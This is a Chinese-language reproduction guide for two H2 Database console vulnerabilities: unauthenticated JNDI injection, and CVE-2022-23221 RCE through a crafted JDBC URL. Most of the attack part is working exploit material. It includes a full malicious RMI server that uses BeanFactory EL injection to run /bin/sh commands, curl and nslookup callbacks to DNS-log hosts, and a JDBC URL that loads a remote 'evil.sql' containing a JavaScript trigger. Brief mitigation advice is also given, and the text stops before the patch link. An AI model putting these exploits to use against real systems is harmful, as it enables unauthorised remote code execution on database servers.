总字符数: 4.28K

代码: 2.16K, 文本: 0.76K

预计阅读时间: 13 分钟

H2 Database Console 未授权访问

漏洞概述

H2 database是一款Java内存数据库,多用于单元测试.H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权(spring boot 配置中开启:)

1
2
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令.

漏洞复现

访问http://your-ip:8080/h2-console/即可查看到H2 database的管理页面.

目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考<Exploiting JNDI Injections in Java>,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

我们可以借助这个小工具JNDI简化我们的复现过程.

首先设置JNDI工具中执行的命令为curl http://g8479g.dnslog.cn:

然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名:javax.naming.InitialContext和URL地址:rmi://VPS-IP:23456/BypassByEL

修复建议

  1. 可以使用Nginx再代理一层,限制直接对/h2-console路径的访问
  2. 限制rmi等服务出网
  3. 升级到最新版

H2 Database RCE(CVE-2022-23221)

漏洞描述

H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复.2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL执行任意代码

受影响的组件

文件名: WebServer.java
文件路径: /h2database/h2/src/main/org/h2/server/web/WebServer.java
受影响的功能: getConnection

环境搭建

docker-compose.yml:

1
2
3
4
5
6
7
version: '2'
services:
web:
image: vulfocus/h2database_cve_2022_23221
ports:
- "8082:8082"
- "9082:9082"

漏洞复现

  1. 导航到控制台并尝试连接到内存中的H2使用以下JDBC URL创建不存在的数据库:
1
jdbc:h2:mem:1337;
  1. 请注意,您会收到以下安全异常,阻止您. 从创建新的内存数据库开始:
1
Database "mem:1337" not found, either pre-create it or allow remote database creation (not recommended in secure environments) [90149-206] 90149/90149 (帮助)
  1. 现在使用以下JDBC URL重试:
1
jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\
  1. 请注意,您已经成功地创建了一个新的内存数据库

  2. 创建包含执行以下操作的触发器的SQL文件,Java/javascript/ruby代码,并将其托管在您的域中控制,Example evil.sql file:

1
2
3
4
5
6
7
8
9
CREATE TABLE test (
id INT NOT NULL
);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '--javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);
  1. 使用以下JDBC URL执行托管在您的连接时的域:()
1
2
jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接: